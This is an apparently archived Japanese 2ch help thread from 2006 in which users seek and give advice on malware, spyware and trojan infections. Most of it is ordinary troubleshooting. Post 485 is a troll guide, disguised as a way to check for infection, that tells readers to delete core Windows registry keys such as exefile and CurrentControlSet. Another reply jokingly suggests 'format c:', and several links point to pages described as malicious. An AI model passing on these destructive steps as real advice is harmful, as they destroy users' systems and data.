インターネットオプションの設定でもだめのようです・・・。

>406
えぇ、しかしフリーソフトのダウンロードはよく行うので・・・いつ感染したのかは思い当たりません。

>>407 おそらく入り込むとき、フリーソフトのインストール時などの時に
スパイウェアインストールの同意はこっそり取られてるはず
この手のスパイウェアはAd-aware SEやウイルスバスターでもまず検出されない
とりあえず今の状態でバックアップとって疑わしいフリーソフトを消してみる

>408
疑わしいフリーソフト・・・ですか。
HDDの容量も気になってたことですし、昨日いらないソフトを消してみたのですが・・・。

>>399
＞【何をしたらそんなことになったのか】 わからないです。

それでは対処も分かりません。

もしかしてSpysheriff使ってません？

レスが遅くなってすみません
インストーラーですか、確かにそうかもしれないですね。
起動のたびに新しいウイルスを検出するのも説明つきますね。
そういったプログラムの検出機能もあってこその駆除ソフトじゃないかとは思いますが
一応トレンドマイクロには報告します。
個人事にも関わらず、色々とご意見下さいました皆様、ありがとうございました。
名無しに戻ります。

>410
すみません・・・確証はありませんがフリーソフトをダウンロードしてしまったことが原因なのだと思います。

>411
いえ、そのようなソフトを使用していません。
名前も初めて聞きました。

>>413
とりあえずオンラインスキャンしてから書きましょうね。

>>409
めんどいからリカバリしろよ、な？

>>413 とりあえず書いてあったページは相当怪しいとゆうより載ってたソフトは全部アドウェア
ポップアップにもページの指示にも絶対従わないこと

>403
＞TROJ_SMALL.AWE
＞TROJ_DLOADER.AGD
＞TROJ_DLOADER.AMY

なんだなんだググってみたら最新式のウイルスばかりじゃん。
一番上が年越してから、後の2つは年末に報告されてるんだね。
ひょとっしたらウイルスマニアの釣りでつか？
釣りじゃなかったらスゲー ﾄﾚﾝﾃﾞｨなサイト踏んだんだね。

正体や習性の分かっている古めのウイルスなら
アンチソフトで駆除後に、後遺症を
レジストリの掃除ソフトを入れて
大掃除をすればｳﾏｰってことも有るけど
最新式のウイルスは何しでかすか
ﾜｶｯﾀﾓﾝｼﾞｬﾈｰのでリカバリしかないだろ。

>415
あまりリカバリしたくないからここに書き込んだのですが・・・。

>416
はい、もちろんです。
時々表示される妙なポップアップ広告さえ消えてしまえばいいのですが・・・。
と言っている間にまた出現しましたorz

>>418
spybotは?

>>418=>>399
＞まだまだこのPCには働いてもらいたい
リカバリして働いてもらえばいいじゃん。
せいぜい休日が一日潰れる程度で綺麗な環境に戻るんだから。

http://vista.x0.com/img/vi17713.jpg
これなんすか？
どかで怖くて開けません、ってスレありましたよね？

>>1の最重要事項をすっ飛ばしてまともな答えが返ってくるとでも？

勇気がなくて踏めない人のための鑑定ｽﾚPart4
http://pc8.2ch.net/test/read.cgi/hack/1131164828/

>>253
私も同じです…orz
右下に「Your computer is intected!」の5行位の英文出てきませんか?

リカバリすれば？

これだけスパイウェアで個人情報垂れ流してるﾔﾂいるんだから、
よほど大事な情報じゃない限り大丈夫じゃないの？

>>424
>>357>>359 これのこと？
今どのOSとセキュリティ対策ソフト使ってるかぐらい書いて欲しいがオンラインスキャンをしてみては。

何度も出てきてしまってすみません。

>>417
マニアでは決してないのですが、
その後の再起動でも続々と年末年始に報告されたばかりのトロイが検出されました。
リカバリですっきりしてくれることを祈っています。

>>253
>>424
全く同じ症状です。
ad-wareでも消えませんでしたが
カーソルを画面上に持っていくと画面を閉じる×印が右上隅に出てきて
クリックすれば画面は閉じます。タスクバーのメッセージも消えました。
再起動後に復活する事もありませんでしたが
これがいい事なのか悪い事（単に陰に隠れただけで逆に発見しずらくなった）なのかは
判りません。

リカバリやればすべて解決

リカバリを促すならこのスレの必要無いじゃん

とうとうそれに気づいてしまったか

つうか質問者同一人物だろ?

ためらう人にリカバリを納得させる事がこのスレの存在意義。

リカバリしないでウイルス駆除しょうとするから、
どんどんドツボにはまるってことですかな。。

…もうね、買ったお店に聞いたほうが早いよ

買ったお店に聞いても「そんなの知らね」って言われるよ

すみません
ほんとに困ったので詳しい方お願いします
掲示板にてexeファイルをﾀﾞｳﾝﾛｰﾄﾞして開いたらｳｲﾙｽでした、
全部駆除して再起動したのですが、またデスクトップの画面が変なﾃﾞｰﾀでいっぱいになりました。
どうやらシステムに設定されたみたいで、c\WINDOWS system~~~LOVE EXE とあります
これはどう対処すればよろしいのでしょうか？
ちなみのシステムのﾊﾞｯｸは黒い色でした（IPなどを確認する際の

今は息子のﾉｰﾊﾟｿ借りてます・・・うう
至らない点があればご指摘お願いします

>>437
exeのアドレスは？
見てみるから

>>437
それとHJTは動ける環境か？
動けるならそのログをここに張れ

>>437
いつも言われることだが、テンプレ使って質問しないと親切な人来ないよ。

>>438さん
ごめんなさい。
アドレスが見当たらないのですが、すぐにデスクトップ写真撮ります
確か楽天ｽﾚの２１を踏んだかと
何ｽﾚ目かは忘れましたが今日です
>>439
さん、すみません
Hijack Thisでしょうか？（少し検索はしたのですが・・
>>440
ごめんんさい
急いで検索かけてきたから・・・

【使用OS】windows xp
【WindowsUpdateしてるか】 あまりしてないような・・・
【AntiVirusは何を使っているか】
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】 やたらと感染してました（１０００くらい）
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】一応ウィルス駆除はすべてバスターでしました。
起動したらすぐに画面のような症状が起こります
根気よくやったらﾔﾌｰにつなげますが　たまにです・・・
【何をしたらそんなことになったのか】 楽天スレの２１を踏みました（今日のことで何スレ目かは不明
【これまでにとった措置】ウィルスは駆除しました（でも検索したらたぶんまた感染してると思う
【その他の質問】無理なようでしたら再セットアップでしょうか？
　　　幸いにも半年使用だからいいけど・・ちょっと。

すみませんうｐします
hanabi12.sakura.ne.jp/cgi-bin/up/img/078.jpg
起動してしばらくしたら上のような状態に・・・
とりあえず４時まで寝ます。

あ、ちなみに右に沢山あるメディアプレーヤー式のは
はじめはありませんでした。
感染してしまってから付いてます
１回削除したのですが起動したらまた付いてきました
数は結構あったです

阿呆みたいな連投申し訳ないです
とりあえず>>442のＰＣで書き込んでます。
指示出してもらえれば実行できます4時辺りにですが。
とりあえずウィルスバスターで検索かけたところ、感染はしてませんでした。
とりあえず再起動したら>>442の状態になりかねないので
電源はつけたままにしておきます

>>427さん

>>253さんと>>357さんと同じ症状のようです…。他にも

Googleツールバーが表示されなくなって消えてしまったり(ｱﾝｲｽﾄｰﾙしてやり直してもﾀﾞﾒ
Ctrl+Alt(Shift)+Del(Esc)のタスクマネージャーも、使用不可になっちゃったり
色々と不便になっちゃってますね…。

シマンテックのオンラインウィルススキャンをしようとしてみたら
ActivXのダウンロードの所で「名前:cabsa.cab　発行元:不明な発行者」
というのが出てきちゃって、できませんでした。
セキュリティチェックはできました。大丈夫でした。

環境はWindowsXP、キングソフトインターネットセキュリティ2006使用中です。更新行ってます。
パソコンを起動するたびに「ウィルスを削除しました」と出ます。Spybotもやってみて駆除できたのですが、
なのに症状が改善されてないです(>_<

私も「リカバリ」したことないんですけど「リカバリ」すると、パソコン内に保存してる
画像や音楽等が消えて無くなっちゃうんでしょうか…？悲しすぎますね。どなたか助けてほしぃです

俺の親父が>>442みたいな壁紙にしていたら、金属バットのような物を振り回すかもしれないｗ

>>444
>>445
デスクトップPCなら、新しくHDDを買ってきてOSをインストール。
今のHDDをスレイブで繋いでデータを吸い出したら？

>>445
実際Symantecに書かれているウイルスと同一かどうかわからんが、

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"Srv32 spool service"=-
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"Srv32 spool service"=-

メモ帳開いて上の５行をコピペ、「sakujo.reg」という名前でデスクトップに保存。
保存したsakujo.regをダブルクリック、「追加しますか？」と聞かれるので「はい」。
その後いっぺん壁紙を好きなのに変更して再起動。壁紙が元の「WARNING!」という
黒いのに戻らなければOK！但しファイルは(悪さをしないものの)残ったままなので
キングソフト以外のウイルス対策ソフトで削除するのがいいと思う。

359のウイルス名で検索するといくつか亜種があるようなので、>>447の方法で
ウイルスが削除されないかもしれない。(黒い画面に戻される)
先に対策ソフト入れるのがベストかも。

ちなみに「Windowsインストール直後のスタートアップ設定」が
どうなっているか把握してれば(わからなくてもPCメーカーのサポートで教えてくれる)
「システム構成ユーティリティ」で勝手な壁紙書き換えを止めることはできる。
使い方→ http://inet.trendmicro.co.jp/virusinfo/isp/howto/howto_utility.asp

データのバックアップはDVD(2〜3枚で収まるなら)や外付けハードディスクを
使うのが楽だと思う。お気に入り・メール内容・アドレス帳も含めて
バックアップのことが書かれているWindowsXPの本探して読んでみては。

ウィルスチェックしてたらVIPPER.EXEってファイルがあるのですが・・・
ちょっと怪しすぎる・・・
とりあえず削除は出来ますでしょうか？

ここで質問する人へ。

１．テンプレつかうこと。（特に症状、原因、スキャンの結果を詳しく）
２．連続質問する時は名前に番号入れること。
３．回答レスしてくれた人にはたとえ的外れなものでもお礼レスすること。（ヤジレスは無視してよい）

この三つを守れば悩みはやがて解決する！　　・・・・・　かも。

ttp://hanabi12.sakura.ne.jp/cgi-bin/up/img/078.jpg

あー

いー

おまいらくだらないことやってんじゃねーよ





うー

きんたまに引っかかったっぽいから今速攻でny削除してウイルススキャン中
各サイト見ていろいろ検索したけどそれらしいファイルは見つからなかった
ただ気がかりなのはsvchostが心なしか１つ増えている気がする事かな（だがユーザー名ではない

解決しましたー
お騒がせしました、ありがとうございました

>>455
ウイルス名は?

>>457
分からない
ただ引っかかった“気がした”だけだし
思い過ごしかもしれない
俺チキンだし・・・

バスターかノートンならキンタマにはほぼ対応済み
ttp://www.securityzone-za.bne.jp/
ここでスキャンしとけ
キンタマじゃなかったら俺はしらん

>>459
ありがとう･ﾟ･(ﾉД`)･ﾟ･
一応ノートンだけど３週間前に更新サービスが切れた
今シマンテックでスキャン中

すんませんお願いします。昨日中古で購入したＰＣの設定をしていたら、どうも
調子が悪いので、ウィルコムのカードのおまけのマカフィーでスキャンしたら
トロイの木馬というのに数箇所感染してました。駆除、隔離、削除などの方法が
あるみたいですが、どれが適切かわかりません。いっそリカバリかければ全て
解決なのでしょうか？

今までウイルスメールなんて来た事がなかったのですが
ここ数日Netsky.P@mmというのがたくさん届くようになりました。
これは自分の知り合いの誰かが感染しているということなのでしょうか？
自分のPCはノートンで防いでいる状態です。

>>461
リカバリが最良だね。

>>462
あなたが感染してるのかと。

>>463
リカバリしました。ありがとうございました助かりました。

ちなみにリカバリしてもメルアドは変わりませんので。

about blank というスパイウェアに侵されてしまいました。
かなりやっかいなヤツらしいのですが何で駆除するのがよろしいでしょうか？
かなりあせってます・・

CoolWebShredderで

それはパソコン上でダウンロードできるものですか？
すぐにエクスプローラーが終了してしまうのでCDロムかなにかは売ってないですか？

そもそもスパイウェアはウイルスではありません。

起動するときにF８連打セーフモードとネットワークで起動してググレ

>>469
CWShredderはフリーソフト。
学校か友達のパソコンからCDROMにコピーすればいい。

スパイウェアに感染したパソコンでここにカキコするﾔﾂって…

「CDROMにコピー」につっこむ香具師は誰もいないのかｗ

>472んちのは出来るらしいよ。

あ、書き間違えた…

>>475
おれのパソコンは出来るんだwヽ(`Д´)ﾉ

Fragment　Of　A　Map　って拾ったけど何につかうの？

ごめん、誤爆

お聞きします。
ネトゲ速報→新作ネトゲ速報スレを見るとウィルス発見するのですが
修復できませんでした。
↓
ファイルへのアクセスを拒否されました。
となります。

その後、スキャンしても発見できず。

この場合は感染していないと見てもいいものなのでしょうか？

【使用OS】 WINXP
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 ノートン2003
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】 WScript.kakWorm Dドライブの２ｃｈブラウザ
【別のオンラインスキャンしたならその結果は】 感染していませんでした
【症状を具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】
【その他の質問】

分かる方いたらよろしくお願いします。

ノートン2003 　　ﾊｯﾊｯﾊ･･･

>>479
とりあえず>>8を読んでからもう一度おいで

今オンラインスキャンしたらTROJ_NASCENE.Yというのが出たんですけど
駆除可能　いいえって出ます・・・ぐぐっても出ないし誰か助けて｡･ﾟ･(ﾉД`)･ﾟ･｡

>482
ウイルス対策ソフト入れてないの？
リカバリすれば。

>>482
釣ってる？

▼━ウィルス感染ファイルの確認の仕方━━━━━━━━━━━━
以下を実行
セーフモードで起動してください
「スタート」メニューを開いて、ファイルを指名して実行をクリック
regeditと入力してOKをクリック（Win2000の場合は、regedt32と入力してOK）
レジストリエディタが開く
HKEY_LOCAL_MACHINE\Software\CLASSES\.dll
HKEY_LOCAL_MACHINE\Software\CLASSES\.exe
HKEY_LOCAL_MACHINE\Software\CLASSES\.sys
HKEY_LOCAL_MACHINE\Software\CLASSES\dllfile
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile
HKEY_LOCAL_MACHINE\Software\CLASSES\sysfile
HKEY_LOCAL_MACHINE\System\CurrentControlSet
上記のキーはウィルス、スパイウェア、ハイジャッカーなのであれば削除すること。

>>484
釣ってないよ・・・今復元してオンラインスキャンかけた

EWIDOとか落として試してみて
後、アンチウィルスソフト入れないんならネット禁止

>>485
ネタ？

>>488
今寝ます

>>488
もうすぐ寝ます

ネロ

パトラッシュ

>>485
実行したらパソコンの調子がおかしくなりましたが？
元に戻りませんが？

>>493
釣りだよな、釣りだと言ってくれ

>>485
今からやろうとしてるけどどうなのかな？

うわぁあああああああああああああああああああああーーー！
>>485氏ねちくしょうー！！！

そんな時間にネタをやってもなあ
眠いから俺も寝る

起きますた

で、485にかかった奴はWindowsの修復インストールで直ったのかな？

500

tp//www.transa-na.net/?news/archive/2006/01/15.jpg

これ踏んだら変なウィンドウが出てきたりしてどうしようも無くなりました
exeのDLとかもさせられた(マウスカチカチやってたら「保存」押してしまった)んですが
なんか仕込まれるような類のページなんでしょうか？

ソースチェッカーオンラインのリンクからそのexeをDLして
ノートンでチェックしても先生の反応は無しでした

>>501
お大事に

>>501
ＵＲＬの構文が変（ｒｙ

?以降がおかしいのでwww.transa-na.netのトップに飛ばされるって事ですか？

>>504
某板の某スレにでの情報。

『何度も何度もWin32:Adware-genというアドウェアを送ってくる(avast!)。PC有害』
とのことです。

>>505
thxです
spybotかけてみます
でもできれば某板おしえてください…

>>506
『勇気がなくて〜鑑定スレ』です。
２１歳以下は閲覧禁止ですが。

ここの板の鑑定スレは落ちてるみたいですし、
画像鑑定スレググってもどこかわかりませんでしたorz
とりあえずspybotして様子見てみます。

>>508
しょうがないなぁ。
まだdat落ちしてなかったぞ。（まだ見れる。）

以下は該当部分のコピペだ。

勇気がなくて見れない画像解説スレin半角Part437
ttp://sakura01.bbspink.com/test/read.cgi/ascii/1136876147/971

971 名前：/名無しさん[1-30].jpg[sage] 投稿日：2006/01/15(日) 19:04:23 ID:GCkNXixV0
ｔtp：//www.transa-na.net/?news/archive/2006/01/15.jpg

スマソ。訂正。

ttp://sakura01.bbspink.com/test/read.cgi/ascii/1136876147/972

972 名前：そそっかしい鑑定人[sage] 投稿日：2006/01/15(日) 19:10:54 ID:m/XNhlFF0
>>971
>>514等で、でてる物と同様の物
何度も何度もWin32:Adware-genというアドウェアを送ってくる(avast!)。PC有害


これでわかったかい？

ありがとうございます
とりあえずスキャンして問題なかったんで大丈夫だと思います

>>493->>496

この程度のことがぱっと見でわからないようではダメダメ君

>>511
釣りに決まってんだろ

>>511
アンカーの使い方もわからないようではダメダメ君

>>501のやつって、最後の2006/01/15.jpg ってのが日付ごとに変わってるから
何度も何度も鑑定に回ってくるよ

【ネットにデマを流すNOD32厨の実態】

ネット詐欺相談室
ttp://fraud.oops.jp/modules/bluesbb/viewsread.php?topic=1&sread_id=5696&number=l50
>abcdef 2005-10-20 0:27:04
>これですが、NOD32とKasperskyにて検出します。
>つまり、いずれかのウィルス対策ソフトを入れている人は、まず引っかかりません。
>はちみつれもんにそっくりですが、この「はちみつれもん」が、大規模亜種合戦をしたので、
>この亜種検出を最大の売りにしている、この二つのソフトが、競って対応してきました。
>したがって、この系統を回避したければ、どちらかを常用しつつ、期限切れにならないように、期限更新を購入してください。
>ちなみに、これらのウィルス対策ソフトは、ほとんどすべてのワンクリウェアを検出します。
NOD32アンチウィルス Part28
http://pc8.2ch.net/test/read.cgi/sec/1136369053/849-854


【正しい情報 9つのメーカーの製品が2005年8月に対応済み】
AntiVir,6.31.1.0/20050816,found [TR/Spy.Entry]
Avast,4.6.695.0/20050815,found [Win32:Trojano-2081]
Avira,6.31.1.0/20050816,found [TR/Spy.Entry]
CAT-QuickHeal,7.03/20050816,found [TrojanPSW.VB.fs]
Fortinet,2.36.0.0/20050816,found [W32/VB.FS-pws]
Kaspersky,4.0.2.24/20050816,found [Trojan-PSW.Win32.VB.fs]
NOD32v2,1.1194/20050815,found [Win32/PSW.VB.FS]
Sybari,7.5.1314/20050816,found [Trojan-PSW.Win32.VB.fs]
Symantec,8.0/20050816,found [Trojan.Addresteal]
ttp://www.viruslist.com/en/viruses/encyclopedia?virusid=90230

>>515
回答者もネット詐欺師だっつーのがワロタ（ｗ

先週からなのですが、以下のような現象が発生しており、原因について特定しかねております。

【使用OS】 Windows2000
【WindowsUpdateしてるか】 最新にしております。
【AntiVirusは何を使っているか】 NortonInternetSecurity2005
【ちゃんとUpdateしてるか】 最新にしております。
【スキャンした結果（ウイルス名・発見場所）】 検出されませんでした。
【別のオンラインスキャンしたならその結果は】 ウイルスバスターでも検出されませんでした。
【症状を具体的に、分かる限りすべて書く】

　メールサーバから４回ほど宛先不明で戻ってきたメールがあったのですが、
　何れも自身で送信処理を行っておらず、宛先も知らないアドレスでした。

　メーラーはOutlookXPを使用しており、そのメールを受け取った直後にヘッダを確認したところ、
　送信元のIPはその時接続しているIPでした。
　送信は通常の送受信で使用する設定のアカウントを使用しているようでした(合計で５つ程登録しております)

　メールの本文は記載されておらず、件名は「hel」や「online」となっておりました。

　宛先については毎回異なったアドレスとなっております。

　また、該当のメールアドレスは、国内、海外から１日に５０通ほどスパムが届きますが、
　他のアドレスはスパムが届いた事はありません。

続きます

続きです。

【何をしたらそんなことになったのか】

　思い当たる事はありません。

【これまでにとった措置】

　週末の時点で気になったのでノートンで完全スキャンを行いましたが、
　ウイルスは見つからず、Spybot、AD-Awareでもスパイウェアは検知されませんでした。

どこか確認した方が良さそうなところがございましたら、お知恵をお貸しください。

脳豚でもバスタでもボットでもＡＤでも検出されないものをどうせいと？
ていうか、症状もよく分からん。
出してもおらんメールが戻ってきたってこと？

わかりにくく申し訳ございません。

原因を探す為の手がかりが無いかなと思い、書かせていただきました。

私の元に届いたメールは、メールサーバから宛先不明で届いており、
そのメールに添付されているオリジナルメッセージは送信履歴には残っておりません。

ただ、添付されていたものを覗いたところ、
ヘッダ部にその時使用していたPC名、
グローバルIPアドレスが記載されていましたので、
使用中のPCから送信されたのではないかと考えた次第です。

ただ、添付されていたものを覗いたところ、　
不明なファイルを開いた時点で終了
メールにウイルスを添付して勝手に送りまくるウイルスに感染したと思われ

↑　もうスパイに覗かれまくってるかと。

リカバリしても消えないウィルスってあるのでしょうか？
あるとすればどのようなウィルスなのですか？

ありません

>>524
本当ですか？一つもないですか？

なら、新品のHDDに交換しろよ

>>526
存在するかどうか知りたいんです。

存在する。

ﾌｫｰﾏｯﾄを知れは解る。

>>528
フォーマット？　(　´,_ゝ`)プッ

>>529
FAT壊す奴知らんの？

tp://www.geocities.jp/sekai_saikyou_ou/livedoor_shinjitu/index.html
↑このブラクラをふんでしまったんですが、ノートンが感知するものの
削除、修復できません。どうしたらいいですか？

ブラクラじゃなくてウイルスでしょ、それ

>>531
つ『OSの再インストール』

↑　アハハ

>>533
ありがとうございました。
無事再インストールできました。

何か今、姉から電話がきてアンチ２がやばいとか言い出したんですけど
意味がまったくわかりません？皆さんアンチ２について何か知っている情報等は
ありますか？なんでもいいので知っていたら教えてください。お願いします。

はいはい、antiny、antiny

↑　アハハ

姉の話によるとそのウィルスに感染すると
個人情報が流出するらしいのです。

はいはい、antiny、antiny

↑　アハハ

>>539
(　^ω^)つ【きんたま】

いや、2ゲット宣言したがる奴に完全と立ち向かうアンチ集団が
ようやく地上活動を始めたということかも知れんな。
536の姉は、どこからそんな貴重な情報を仕入れてきたんだろう？

antinnyでぐぐれ。つうか>>1にあるからリンク先みれ。
あとこのスレのテンプレにはないが情報の小出しはするな。最初から書け。

antinny

･･･ってリンク先見てみたらNot Foundだった(ﾉ∀`)

姉が言ってるというのは、アンチ2じゃなくて
餡こ煮の聞き間違えなんじゃないだろうか？
あれはヤバイくらいにうまいよ、マジで！

女がウイルス感染するほどP2Pでエロいファイル落としてるとも思えんし〜

HTTP MSIE JavaScript Onload RteCodeExecというアクセス攻撃を受けて
ノートンが遮断してくれたみたいなんですが、これは本当に攻撃なんですか？
もしそうならまともに受けたらどういう被害があるのですか？
よろしくお願いします。

申し訳ありません。多分分かりました。２ｃｈの板（芸能音楽速報）をロードしたときに
起こったようです。問題なかったんですね。失礼しました。
もし違っていたらご指摘お願いします。

さっきからなのですが、
yahooメールから自分の携帯に送った内容のものが、
携帯に同じ内容のまま送られてきました。
もちろん自分で送ってはいません。
1週間位前に送ったものと、3日位前に送った物です。
アドレスに登録している人全員に送られていたら困るのですが、
これはなんでしょうか？お願いします。

＞自分の携帯に送った内容のものが、
＞携帯に同じ内容のまま送られてきました。

（ﾟДﾟ）ﾊｧ?

解りづらくてすみません。
携帯で打つのが遅くて苦手な為、
１回yahooメールの方で下書きして、
それを自分に送って相手に転送した物です。
携帯のアドレス以外教えたくなかったので、
そんな事したのですが。

ますます

（ﾟДﾟ）ﾊｧ?

>>552
ttp://www.geocities.jp/hamachi1976/mirco.jpg

突然再起動されてしまいます・・・
ウィルスに感染されてしまったのでしょうか・・・・
よい解決方法教えていただけたらうれしいです、よろしくお願いいたします

解りにくかったみたいですね。
出直します。

>>555

>>1を読んでから出直したほうがいいかと。

長文失礼します。
先日、２ちゃんねる閲覧中にNorton AntiVirusからウイルス発見の警告が
出て、「Wscript.kakWorm」を検出、修復できなかったようです。
その後しばらくしてまた「Bloodhound.Exploit.6」というウイルスが
見つかり、「アクセスが拒否されました」「修復できませんでした」という
ウインドウが何度も開きました。
発生源はTemporary Internet Filesでしたので、インターネット一時ファイルを
削除したら開かなくなりました。
しかし、発生源のアドレスの中に「find.2ch〜」などが含まれていたので、おかしいなと
と思ってます…
もしかして変なテキストを読み込まされた為の誤検出なのでしょうか…

【使用OS】WindowsXP
【WindowsUpdateしてるか】 してます。
【AntiVirusは何を使っているか】 Nortonです。
【ちゃんとUpdateしてるか】 しました。
【スキャンした結果（ウイルス名・発見場所）】
　ウイルス名　・Wscript.kakWorm
・Bloodhound.Exploit.6
　発信源　　C:\Documents and Settings\Owner\Local Settings\
　　　　　　Temporary Internet Files\Content.IE5\
　　　　　　S18V4BGR\find.2ch[2].htm
　※上記のものは発見当事に表示されたもので、
　　ＮＩＳではまだスキャンしておりません。（現在スキャン中です＾＾；）
【別のオンラインスキャンしたならその結果は】
　いくらか別サイトの削除ツールを使ってスキャンしましたが
　どこも問題ありませんでした。
【症状を具体的に、分かる限りすべて書く】
　症状は今の所全くありません。
　上記のウイルスが危害をもたらすはずのOutlookExpressも正常です。
続きます。

↑続き…
【何をしたらそんなことになったのか】
　２ちゃんねる閲覧中になりました。
　kakWormの時は覚えていませんが、bloodhoundの時は「２ちゃんねる検索」
　を利用中に検出されました。
【これまでにとった措置】
　オンラインスキャン一回、そして現在Norton AntiVirusでスキャン中です。
【その他の質問】
　ほとんど文頭に書いてしまいましたorz
　誤検出だといいのですが…どなたかアドバイス下さいますよう
　よろしくお願い致します。

>>558
上の数行しか読んでないがwよくあるノートンの誤検出では？
インターネットオプションで「インターネット一時ファイル」の削除をして
再スキャンすれば出ないはずだからやってみて。
しょっちゅう２ちゃん使うなら２ちゃんブラウザインスコしる。
その後ノートンスレに書いてある対策をやればOK。

>>560
すいません、文章長すぎましたねorz
やはりスキャンしても出てこなかったので、誤検出だったようです…
後でノートンのスレに行ってみます。
レスありがとうございました！

ウイルス注意かもです
://virus.org.ua/unix/woid.jpg

このアドレスをJaneViewの画像ビューアで開いてしまいました。
「virus installation Complete」って文字が出ただけで他の動作はありません。
一応調べたんですが、どうやらIE等で開くとTelnetがたくさん同時起動するらしく、
トロイの木馬なんかも仕込まれてるみたいで…
PCの挙動はおかしくなってないし、スキャンしてもウイルス等は
出てきませんでしたがスルーして大丈夫でしょうか？
アンチウイルスソフトはAVGのFreeです。

今さら、何言ってるの？

ＵＲＬに「virus」入ってるページ開けるﾔﾂ。
　　　　　　　　　　↓
　　　　「地雷を踏みに行くﾔﾂ」

>>562
今回に限っていえばTelnetが起動するだけだ

だがな、>>564のいうとおりアドレスもみずに何でも踏むようなやつは
何にかかってもおかしくはない

踏んでからあれこれ心配するよりは
踏む前に少し気を使うほうが精神衛生上だいぶいいと思うが

画像がたくさんあるスレだとURL見ずにガンガン開いて行っちゃうんですよね…

ありがとうございました

ガンガンいくならここで行け。

p://www.lamalinks.com/

すいません、タスクマネージャがグレーになり、メールがいっぱい発送されてしまう
スパイウエアにかかりました。
システムの復元でもとにもどりましたが、
ネットワークがつながっていると
なにやら大量のデータをダウンロードして
どこかに大量データ添付メールをいっぱい発送してるようでした。

これはなんというスパイウエアかわかりますか？

んな事聞く前にスキャンしろよｗ

http://black.ap.teacup.com/nettou-watch/img/1133965172.jpg

こういうのが出てきてた。

スキャンするもなにも・・・一応システム復元したからそいつ消えちゃってると思うんだけど
どう？
ウイルススキャンしてもひっかからなかったよ。

ヤバそうなの貼るなボケ

復元できてないから使えないんだろ？
ウイルススキャンじゃなくてスパイウェアをスキャンしろよ

http://pub.ne.jp/yo_in_leaf/?entry_id=34842

この人と全く同じ状態になりました。

いや、今もう復元できましたよ。システムの復元ポイントいくつかはってあったんで、
それで昨日の状態にもどしたらもどりました。

さっきまでネットにつないでいたら最終的には大量データダウンロードの為か、
pcが全く動かなくなって、どうにもこうにも、駄目でした。
ネットにつながらなければ、ＰＣを触ることは出来るのですが、何のスパイウエアなのかを
ネットで探ることができなかった・・・
死ぬ気で復元しましたよ。

でも自分がいったい何のスパイウエアにひっかかったのか知りたかったもので・・・

ちなみに>>570
は「タスクマネージャは管理者によって使用不可です」というダイアログのハードコピーをはっただけです・・・；；
そんなここにウィルス貼るなんかしませんよ。

ただ２ｃｈのさらしスレで引っかかった模様です。。。

>>574
質問しているのは自分しかいないと思っている馬鹿？

あほ　繋ぐんじゃねー
ウィルシだ！！

今すぐスキャンしろい！！！

わかりました、spybotでスキャンしてみたら・・・・・・・・・

あわわわわわわわわわわわわわわわわわわわわわ

た、大量のスパイウェアが発見されてしまいました。３０個くらい・・・
画面まっかっか・・・
これ全部削除していいんですか？

期限切れのノートン先生使っていたから・・・

しろよ
期限切れ使ってて
＞ ウイルススキャンしてもひっかからなかったよ。
ってレスは無いと思うけどねえ

だって期限切れじゃなくしようと思ったらお金いるんでしょう？？

大アホ！！！！！

ついでに、format c: もやっとけよーー

CnsMinというスパイウエアのみ削除できなかったようです・・・
http://clubjs.tsukaeru.jp/cgi/win/cf.cgi?mode=alk&page=245
ここみて削除してみようと思います。

はー・・・初心者にはつらい出来事ばかりです。

>>579
もうね、死んでいいよ

format c:？？

ファイル全部なくしてまですることじゃないかと思ったんだけど・・・。

でも昨日まで普通に使っていたよ。若干速度遅いかな、、と思ったのですが・・・

JWordか

釣りだバーカｗｗｗｗｗｗｗｗｗｗｗｗ

>>583
>どこかに大量データ添付メールをいっぱい発送してるようでした。

これのどこが普通なんだ？

てか最低限調べてから質問しろよ・・・

>>586
それで本腰入れてウイルス削除しないと使えないことを悟った。
その前にもたぶん。。。この大量のウイルスはその前に混入してたとおもうんだよね。

さっき全部削除してみました。

JWordって有名なのですか？

>>588
この板にもスレがあったはず

>>589
ありがとうございます。そちらを見てみます。
初心者が大騒ぎでどうも失礼しました。

再起動してもう一度スキャンしてみたらＯＫだったようで。
なんとか直りました・・・・

これからはこのｓｐｙｂｏｔとかいうやつ使ってみます。
ではでは☆

spybotだけじゃ完璧じゃないからな

なんだかんだ言ってみんな優しいしｗ

男にはな。

ウホッ

ちっ

「スパイウエアに関する相談や質問をメールで受け付ける無償サービス」だって。
http://itpro.nikkeibp.co.jp/article/NEWS/20060123/227736/

怪しいなぁ・・・

タ　ダ　ほ　ど　高　い　も　の　は　な　い

【使用OS】 windowsMe
【WindowsUpdateしてるか】してないです
【AntiVirusは何を使っているか】 ウイルスキラー
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】TrojanSpy.Win32.Starax
【別のオンラインスキャンしたならその結果は】 してないです
【症状を具体的に、分かる限りすべて書く】 フリーのソフトをダウンロードして本体を起動させたら検出されました
【何をしたらそんなことになったのか】 本体を起動
【これまでにとった措置】 本体と関連する物の削除
【その他の質問】 このトロイは他にも影響するんでしょうか？

>>599
出直せ

>>599

＞【WindowsUpdateしてるか】してないです

>>600-601
ご迷惑をおかけしました
出直してきます

うむ

>>591
履き捨てるようにアドバイス萌え

何故か心温まるスレですね

Share系の似非キンタマに感染したと思われるんですが，VBでは検出できませんでした．
しかもタスクマネージャーでプロセスを実行しているユーザー名が完全に見えなくなってしまいました
なんとかタスクマネージャーのユーザー名のほうだけでも復旧させる方法は
ないでしょうか

つDokuro Virus Checker

>>607
グーグルで3件HITしましたが、よくわからないテキストしか引っかからないです

つhttp://www.geocities.jp/antiny_virus/

h抜き忘れた

ありがとうございます。ただウィルス駆除とくらべてほんのわずかに重い
用件があるのでそれを片付けたら駆除成功報告したいと思います。
たぶん夜9時くらいになると思います。ありがとうございました

質問なんですが、ある日ネットしてたら急にダイアルアップの
ダイヤログがでました。プロバイダはヤフーなんだけど、これは
やっぱりウィルスですかね？

教えてえろいシト

ドクロチェッカーでもひっかからず、VBの最新アップデートでも引っかからず
